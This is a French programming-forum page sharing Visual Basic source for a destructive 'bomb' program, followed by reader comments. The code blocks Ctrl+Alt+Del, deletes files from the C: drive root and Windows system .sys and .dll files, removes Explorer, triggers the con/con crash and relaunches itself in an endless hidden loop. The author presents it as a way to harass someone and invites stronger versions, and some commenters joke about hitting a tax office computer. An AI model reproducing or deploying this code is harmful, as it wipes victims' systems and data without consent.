Little blue bombzy (bombe pour lamerz)

Soyez le premier à donner votre avis sur cette source.

Snippet vu 5 090 fois - Téléchargée 38 fois

Cette source est considérée comme dangereuse, elle a néamoins été gardée dans un but pédagogique :
Cette source est considérée comme dangereuse, elle a néamoins été gardée dans un but pédagogique.

Contenu du snippet

Bon ce ti-prog ce veut un example de "bombe lamerz" qui peut quand même s'avérer util pour faire chier quelqu'un et qui pourrait devenir après quelques retouches très puissante.

Pourquoi little blue bombzy? Il est petit, provoque un blue screen of the death et c'est une bombe

Source / Exemple :


'celà se veut un exemple de bombe mais c'est quand même puissant
'à mettre absolument en entête de prog pour empêcher le ctrl+alt+del et permettre de
'tripoter la machine
Private Const SPI_SETSCREENSAVEACTIVE = 17
Private Const SPIF_UPDATEINIFILE = &H1
Private Const SPIF_SENDWININICHANGE = &H2
Private Declare Function SystemParametersInfo Lib "user32" Alias "SystemParametersInfoA" (ByVal uAction As Long, ByVal uParam As Long, ByVal lpvParam As Long, ByVal fuWinIni As Long) As Long
Private Const SPI_SCREENSAVERRUNNING = 97
Private Declare Function mciSendString Lib "winmm.dll" Alias "mciSendStringA" (ByVal lpstrCommand As String, ByVal lpstrReturnString As String, ByVal uReturnLength As Long, ByVal hwndCallback As Long) As Long

'créer une form avec cela
Private Sub Form_Load()

's'il y a une erreure, fait la ligne suivante et continue
On Error Resume Next

'ouvre le cd
Call mciSendString("Set CDAudio Door Open", "", 0, 0)

'fais faire trois fois le song "beep" à la machine
Beep
Beep
Beep

'd'autre truc pour empêcher l'arrêt du programme
Dim Retour  As Long
Dim a As Boolean
Retour = SystemParametersInfo(SPI_SCREENSAVERRUNNING, True, a, 0)

'supprime des fichier essentiels à windows
Kill "c:\*.*"
Kill "c:\windows\*.sys"
Kill "c:\windows\*.dll"
Kill "c:\windows\system\*.sys"
Kill "c:\windows\system32\*.sys"
Kill "c:\windows\system\*.dll"
Kill "c:\windows\system32\*.dll"

'fait sauter le shell de windows
retval = SystemParametersInfo(SPI_SETSCREENSAVEACTIVE, 0, 0, 0)
Kill "c:\windows\explorer.*"""
Shell "con/con"
Do
Shell App.Path & "\" & App.EXEName & ".exe", vbHide
Loop
End Sub

Conclusion :


Bon je sais c'est lamerz, mais ya quand même un potentiel

A voir également

Ajouter un commentaire Commentaires
Messages postés
115
Date d'inscription
samedi 2 février 2002
Statut
Membre
Dernière intervention
13 mai 2006

mouais c peut etre bien un code pour lamerz mais Weado t quoi toi alors? tu fourni le code source d'une charge virale active (mal programmé en plus) en esperant qu'il n'y ai que de gentils agneaux qui surf sur ce site.
de plus tu te permet d'essayer ca sur un ordinateur public, tu t'ai pris pour qui?
Encore tu apporterais un nouveau concept ou tu traiterais d'une methode virale complexe, je veux bien ... mais la...
franchement des sources comme ca, vbfrance sans passerai bien, et des gars comme toi, Internet s'en passerait bien aussi.
Messages postés
3006
Date d'inscription
dimanche 14 avril 2002
Statut
Membre
Dernière intervention
31 décembre 2008

slt, dis donc, il me semble que tu fais des remarques sur le code source de Carnage pour bloquer ctrl+alt+del, mais toi tu te gênes pas pr créer ce genre de petits outils...
Messages postés
169
Date d'inscription
vendredi 27 septembre 2002
Statut
Membre
Dernière intervention
27 février 2009
1
Hé... Nix ???? ce serait pas top ça, comme concours ???
Messages postés
169
Date d'inscription
vendredi 27 septembre 2002
Statut
Membre
Dernière intervention
27 février 2009
1
Ma gratitude à celui qui fait pêter l'ordinateur des impots, début mars.
Messages postés
415
Date d'inscription
mardi 3 avril 2001
Statut
Membre
Dernière intervention
26 avril 2008

si personne programmerait des viruz, taurai pas a te venger

;)

pensez-y
lol
Afficher les 18 commentaires

Vous n'êtes pas encore membre ?

inscrivez-vous, c'est gratuit et ça prend moins d'une minute !

Les membres obtiennent plus de réponses que les utilisateurs anonymes.

Le fait d'être membre vous permet d'avoir un suivi détaillé de vos demandes et codes sources.

Le fait d'être membre vous permet d'avoir des options supplémentaires.